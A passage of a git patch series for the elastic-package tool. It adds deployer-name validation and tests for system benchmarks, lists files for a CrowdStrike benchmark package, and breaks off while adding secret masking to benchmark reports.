From 40583d0b11186820011f4e49356ffd30d0fd8cd7 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Feb 2026 16:23:02 +0530 Subject: [PATCH 01/19] Add multiple service deployer to benchmarks --- internal/benchrunner/runners/system/runner.go | 15 ++--- .../benchrunner/runners/system/scenario.go | 9 +++ .../runners/system/scenario_test.go | 63 +++++++++++++++++++ .../system/testdata/empty_deployer.yml | 1 + .../system/testdata/invalid_deployer.yml | 1 + .../system/testdata/valid_deployer_docker.yml | 1 + .../system/testdata/valid_deployer_k8s.yml | 1 + .../system/testdata/valid_deployer_tf.yml | 1 + 8 files changed, 85 insertions(+), 7 deletions(-) create mode 100644 internal/benchrunner/runners/system/scenario_test.go create mode 100644 internal/benchrunner/runners/system/testdata/empty_deployer.yml create mode 100644 internal/benchrunner/runners/system/testdata/invalid_deployer.yml create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go index 62b9691a6f..5f61f4757b 100644 --- a/internal/benchrunner/runners/system/runner.go +++ b/internal/benchrunner/runners/system/runner.go @@ -154,7 +154,7 @@ func (r *runner) setUp(ctx context.Context) error { } r.svcInfo.OutputDir = outputDir - serviceName, err := r.serviceDefinedInConfig() + serviceName, deployerName, err := r.serviceDefinedInConfig() if err != nil { return fmt.Errorf("failed to determine if service is defined in config: %w", err) } @@ -163,7 +163,7 @@ func (r *runner) setUp(ctx context.Context) error { // Just in the case service deployer is needed (input_service field), setup the service now so all the // required information is available in r.svcInfo (e.g. hostname, port, etc). // This info may be needed to render the variables in the configuration. - s, err := r.setupService(ctx, serviceName) + s, err := r.setupService(ctx, serviceName, deployerName) if errors.Is(err, os.ErrNotExist) { logger.Debugf("No service deployer defined for this benchmark") } else if err != nil { @@ -263,19 +263,19 @@ func (r *runner) setUp(ctx context.Context) error { return nil } -func (r *runner) serviceDefinedInConfig() (string, error) { +func (r *runner) serviceDefinedInConfig() (string, string, error) { // Read of the configuration to know if a service deployer is needed. // No need to render any template at this point. scenario, err := readRawConfig(r.options.BenchPath, r.options.BenchName) if err != nil { - return "", err + return "", "", err } if scenario.Corpora.InputService == nil { - return "", nil + return "", "", nil } - return scenario.Corpora.InputService.Name, nil + return scenario.Corpora.InputService.Name, scenario.Deployer, nil } func (r *runner) run(ctx context.Context) (report reporters.Reportable, err error) { @@ -322,7 +322,7 @@ func (r *runner) run(ctx context.Context) (report reporters.Reportable, err erro return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum) } -func (r *runner) setupService(ctx context.Context, serviceName string) (servicedeployer.DeployedService, error) { +func (r *runner) setupService(ctx context.Context, serviceName string, deployerName string) (servicedeployer.DeployedService, error) { stackVersion, err := r.options.KibanaClient.Version() if err != nil { return nil, fmt.Errorf("cannot request Kibana version: %w", err) @@ -339,6 +339,7 @@ func (r *runner) setupService(ctx context.Context, serviceName string) (serviced Type: servicedeployer.TypeBench, StackVersion: stackVersion.Version(), DeployIndependentAgent: false, + DeployerName: deployerName, } serviceDeployer, err := servicedeployer.Factory(opts) if err != nil { diff --git a/internal/benchrunner/runners/system/scenario.go b/internal/benchrunner/runners/system/scenario.go index b919c69436..fd2550ded8 100644 --- a/internal/benchrunner/runners/system/scenario.go +++ b/internal/benchrunner/runners/system/scenario.go @@ -9,6 +9,8 @@ import ( "fmt" "os" "path/filepath" + "slices" + "strings" "time" "github.com/aymerick/raymond" @@ -18,6 +20,8 @@ import ( "github.com/elastic/elastic-package/internal/servicedeployer" ) +var allowedDeployerNames = []string{"docker", "k8s", "tf"} + type scenario struct { Package string `config:"package" json:"package"` Description string `config:"description" json:"description"` @@ -30,6 +34,7 @@ type scenario struct { BenchmarkTimePeriod time.Duration `config:"benchmark_time_period" json:"benchmark_time_period"` WaitForDataTimeout *time.Duration `config:"wait_for_data_timeout" json:"wait_for_data_timeout"` Corpora corpora `config:"corpora" json:"corpora"` + Deployer string `config:"deployer" json:"deployer"` // Name of the service deployer to use for this scenario. } type dataStream struct { @@ -113,6 +118,10 @@ func readConfig(benchPath string, scenario string, svcInfo *servicedeployer.Serv if err := cfg.Unpack(c); err != nil { return nil, fmt.Errorf("can't unpack scenario configuration: %s: %w", configPath, err) } + if c.Deployer != "" && !slices.Contains(allowedDeployerNames, c.Deployer) { + return nil, fmt.Errorf("invalid deployer name %q in system benchmark configuration file %q, allowed values are: %s", + c.Deployer, configPath, strings.Join(allowedDeployerNames, ", ")) + } return c, nil } diff --git a/internal/benchrunner/runners/system/scenario_test.go b/internal/benchrunner/runners/system/scenario_test.go new file mode 100644 index 0000000000..9802cb3792 --- /dev/null +++ b/internal/benchrunner/runners/system/scenario_test.go @@ -0,0 +1,63 @@ +// Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +// or more contributor license agreements. Licensed under the Elastic License; +// you may not use this file except in compliance with the Elastic License. + +package system + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestReadConfig_DeployerValidation(t *testing.T) { + var testCases = []struct { + testName string + scenarioName string + deployer string + errContains string + }{ + { + testName: "valid deployer docker", + scenarioName: "valid_deployer_docker", + deployer: "docker", + }, + { + testName: "valid deployer k8s", + scenarioName: "valid_deployer_k8s", + deployer: "k8s", + }, + { + testName: "valid deployer tf", + scenarioName: "valid_deployer_tf", + deployer: "tf", + }, + { + testName: "invalid deployer", + scenarioName: "invalid_deployer", + errContains: "invalid deployer name", + }, + { + testName: "empty deployer", + scenarioName: "empty_deployer", + deployer: "", + }, + } + + t.Parallel() + for _, tc := range testCases { + t.Run(tc.testName, func(t *testing.T) { + scenario, err := readRawConfig("testdata", tc.scenarioName) + + if tc.errContains != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tc.errContains) + return + } + + require.NoError(t, err) + assert.Equal(t, tc.deployer, scenario.Deployer) + }) + } +} diff --git a/internal/benchrunner/runners/system/testdata/empty_deployer.yml b/internal/benchrunner/runners/system/testdata/empty_deployer.yml new file mode 100644 index 0000000000..8e0c4e38fa --- /dev/null +++ b/internal/benchrunner/runners/system/testdata/empty_deployer.yml @@ -0,0 +1 @@ +description: "scenario with no deployer set" diff --git a/internal/benchrunner/runners/system/testdata/invalid_deployer.yml b/internal/benchrunner/runners/system/testdata/invalid_deployer.yml new file mode 100644 index 0000000000..b2bf1cabf2 --- /dev/null +++ b/internal/benchrunner/runners/system/testdata/invalid_deployer.yml @@ -0,0 +1 @@ +deployer: someinvaliddeployername \ No newline at end of file diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml new file mode 100644 index 0000000000..93fff6133d --- /dev/null +++ b/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml @@ -0,0 +1 @@ +deployer: docker \ No newline at end of file diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml new file mode 100644 index 0000000000..524374f584 --- /dev/null +++ b/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml @@ -0,0 +1 @@ +deployer: k8s \ No newline at end of file diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml new file mode 100644 index 0000000000..680cb597d2 --- /dev/null +++ b/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml @@ -0,0 +1 @@ +deployer: tf \ No newline at end of file From e6fcd1e4d62453f8b4f7f1ca91adacd3a6292cbe Mon Sep 17 00:00:00 2001 From: kcreddy Date: Tue, 24 Feb 2026 19:11:53 +0530 Subject: [PATCH 02/19] - Update testrunID as per system tests. - Mask secrets in reports. - Add test integration --- internal/benchrunner/runners/system/report.go | 60 +- internal/benchrunner/runners/system/runner.go | 19 +- .../_dev/benchmark/system/alert-benchmark.yml | 27 + .../system/alert-benchmark/config.yml | 105 + .../system/alert-benchmark/fields.yml | 208 + .../system/alert-benchmark/template.ndjson | 97 + .../system/deploy/docker/docker-compose.yml | 16 + .../system/deploy/docker/files/config.yml | 128 + .../_dev/benchmark/system/deploy/tf/env.yml | 10 + .../deploy/tf/files/fdr-0_aidmaster.log | 5 + .../system/deploy/tf/files/fdr-0_userinfo.log | 1 + .../system/deploy/tf/files/fdr-sample.log | 128 + .../_dev/benchmark/system/deploy/tf/main.tf | 125 + .../benchmark/system/deploy/tf/outputs.tf | 3 + .../benchmark/system/deploy/tf/variables.tf | 48 + .../_dev/benchmark/system/fdr-benchmark.yml | 26 + .../benchmark/system/fdr-benchmark/config.yml | 9 + .../benchmark/system/fdr-benchmark/fields.yml | 8 + .../system/fdr-benchmark/template.ndjson | 5 + .../_dev/build/build.yml | 3 + .../_dev/build/docs/README.md | 319 + .../_dev/deploy/docker/docker-compose.yml | 41 + .../_dev/deploy/docker/files/config-alert.yml | 475 + .../_dev/deploy/docker/files/config-host.yml | 769 + .../docker/files/config-vulnerability.yml | 643 + .../changelog.yml | 999 ++ .../alert/_dev/benchmark/pipeline/config.yml | 1 + .../_dev/benchmark/pipeline/test-alert.log | 10 + .../alert/_dev/test/pipeline/test-alert.log | 10 + .../pipeline/test-alert.log-expected.json | 2033 +++ .../_dev/test/pipeline/test-common-config.yml | 4 + .../_dev/test/policy/test-default.expected | 134 + .../alert/_dev/test/policy/test-default.yml | 9 + .../_dev/test/policy/test-traced.expected | 134 + .../alert/_dev/test/policy/test-traced.yml | 10 + .../_dev/test/system/test-common-config.yml | 15 + .../alert/agent/stream/cel.yml.hbs | 130 + .../elasticsearch/ingest_pipeline/default.yml | 2829 ++++ .../data_stream/alert/fields/base-fields.yml | 20 + .../data_stream/alert/fields/beats.yml | 6 + .../data_stream/alert/fields/ecs.yml | 9 + .../data_stream/alert/fields/fields.yml | 620 + .../data_stream/alert/manifest.yml | 94 + .../data_stream/alert/sample_event.json | 364 + .../fdr/_dev/benchmark/pipeline/config.yml | 1 + ...-fdr-data-protection-detection-summary.log | 1 + .../test-fdr-epp-detection-summary.log | 13 + .../fdr/_dev/benchmark/pipeline/test-fdr.log | 138 + .../pipeline/test-fdrv2-notmanaged.log | 1 + .../_dev/benchmark/pipeline/test-linux.log | 4 + .../_dev/benchmark/pipeline/test-macos.log | 18 + .../_dev/benchmark/pipeline/test-windows.log | 121 + .../data_stream/fdr/_dev/deploy/tf/env.yml | 10 + .../_dev/deploy/tf/files/fdr-0_aidmaster.log | 5 + .../_dev/deploy/tf/files/fdr-0_userinfo.log | 1 + .../fdr/_dev/deploy/tf/files/fdr-sample.log | 128 + .../data_stream/fdr/_dev/deploy/tf/main.tf | 125 + .../data_stream/fdr/_dev/deploy/tf/outputs.tf | 3 + .../fdr/_dev/deploy/tf/variables.tf | 48 + .../_dev/test/pipeline/test-common-config.yml | 12 + .../fdr/_dev/test/pipeline/test-data.log | 5 + .../test/pipeline/test-data.log-expected.json | 487 + .../_dev/test/pipeline/test-fdr-cspm-ioa.log | 1 + .../test-fdr-cspm-ioa.log-expected.json | 125 + .../pipeline/test-fdr-cspm-iom-evaluation.log | 1 + ...-fdr-cspm-iom-evaluation.log-expected.json | 110 + .../_dev/test/pipeline/test-fdr-cspm-iom.log | 2 + .../test-fdr-cspm-iom.log-expected.json | 154 + ...-fdr-data-protection-detection-summary.log | 1 + ...ection-detection-summary.log-expected.json | 133 + .../test-fdr-epp-detection-summary.log | 14 + ...dr-epp-detection-summary.log-expected.json | 2101 +++ .../test-fdr-fim-rule-matched-enriched.log | 4 + ...im-rule-matched-enriched.log-expected.json | 264 + .../test-fdr-fim-rule-matched-linux.log | 4 + ...r-fim-rule-matched-linux.log-expected.json | 636 + .../test-fdr-fim-rule-matched-windows.log | 2 + ...fim-rule-matched-windows.log-expected.json | 297 + .../test-fdr-lengthy-field-delete.log | 1 + ...st-fdr-lengthy-field-delete.log-config.yml | 7 + ...fdr-lengthy-field-delete.log-expected.json | 80 + .../pipeline/test-fdr-lengthy-field-index.log | 1 + ...est-fdr-lengthy-field-index.log-config.yml | 6 + ...-fdr-lengthy-field-index.log-expected.json | 81 + .../fdr/_dev/test/pipeline/test-fdr.log | 138 + .../test/pipeline/test-fdr.log-expected.json | 12580 ++++++++++++++++ .../test/pipeline/test-fdrv2-notmanaged.log | 1 + .../test-fdrv2-notmanaged.log-expected.json | 64 + .../fdr/_dev/test/pipeline/test-linux.log | 5 + .../pipeline/test-linux.log-expected.json | 556 + .../fdr/_dev/test/pipeline/test-macos.log | 18 + .../pipeline/test-macos.log-expected.json | 1764 +++ .../_dev/test/pipeline/test-tags-formats.log | 4 + .../test-tags-formats.log-expected.json | 88 + .../fdr/_dev/test/pipeline/test-user-map.log | 1 + .../pipeline/test-user-map.log-expected.json | 43 + .../fdr/_dev/test/pipeline/test-windows.log | 121 + .../pipeline/test-windows.log-expected.json | 11696 ++++++++++++++ .../_dev/test/policy/test-default.expected | 250 + .../fdr/_dev/test/policy/test-default.yml | 10 + .../_dev/test/system/test-default-config.yml | 16 + .../fdr/agent/stream/aws-s3.yml.hbs | 283 + .../fdr/agent/stream/stream.yml.hbs | 104 + .../ingest_pipeline/categorize.yml | 1875 +++ .../ingest_pipeline/cspm_ioa.yml | 273 + .../ingest_pipeline/cspm_iom.yml | 503 + .../data_protection_detection_summary.yml | 360 + .../elasticsearch/ingest_pipeline/default.yml | 2857 ++++ .../ingest_pipeline/epp_detection_summary.yml | 260 + .../ingest_pipeline/fim_rule_matched.yml | 397 + .../ingest_pipeline/inbound_network.yml | 109 + .../ingest_pipeline/outbound_network.yml | 109 + .../data_stream/fdr/fields/base-fields.yml | 54 + .../data_stream/fdr/fields/ecs.yml | 255 + .../data_stream/fdr/fields/fields.yml | 2060 +++ .../data_stream/fdr/manifest.yml | 296 + .../data_stream/fdr/sample_event.json | 213 + .../docs/README.md | 3543 +++++ .../system_benchmark_crowdstrike/manifest.yml | 164 + .../validation.yml | 7 + 120 files changed, 56923 insertions(+), 9 deletions(-) create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/validation.yml diff --git a/internal/benchrunner/runners/system/report.go b/internal/benchrunner/runners/system/report.go index 65b68d5dfd..6dadda13ba 100644 --- a/internal/benchrunner/runners/system/report.go +++ b/internal/benchrunner/runners/system/report.go @@ -16,6 +16,7 @@ import ( "github.com/elastic/elastic-package/internal/benchrunner/reporters" "github.com/elastic/elastic-package/internal/elasticsearch/ingest" + "github.com/elastic/elastic-package/internal/packages" ) type report struct { @@ -47,8 +48,8 @@ type report struct { TotalHits int } -func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummary) (reporters.Reportable, error) { - r := newReport(benchName, corporaFile, s, sum) +func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummary, secretVarNames map[string]bool) (reporters.Reportable, error) { + r := newReport(benchName, corporaFile, s, sum, secretVarNames) human := reporters.NewReport(s.Package, reportHumanFormat(r)) jsonBytes, err := reportJSONFormat(r) @@ -63,7 +64,7 @@ func createReport(benchName, corporaFile string, s *scenario, sum *metricsSummar return mr, nil } -func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary) *report { +func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary, secretVarNames map[string]bool) *report { var report report report.Info.Benchmark = benchName report.Info.Description = s.Description @@ -75,8 +76,11 @@ func newReport(benchName, corporaFile string, s *scenario, sum *metricsSummary) report.Info.GeneratedCorporaFile = corporaFile report.Parameters.PackageVersion = s.Version report.Parameters.Input = s.Input - report.Parameters.Vars = s.Vars - report.Parameters.DataStream = s.DataStream + report.Parameters.Vars = maskSecretVars(s.Vars, 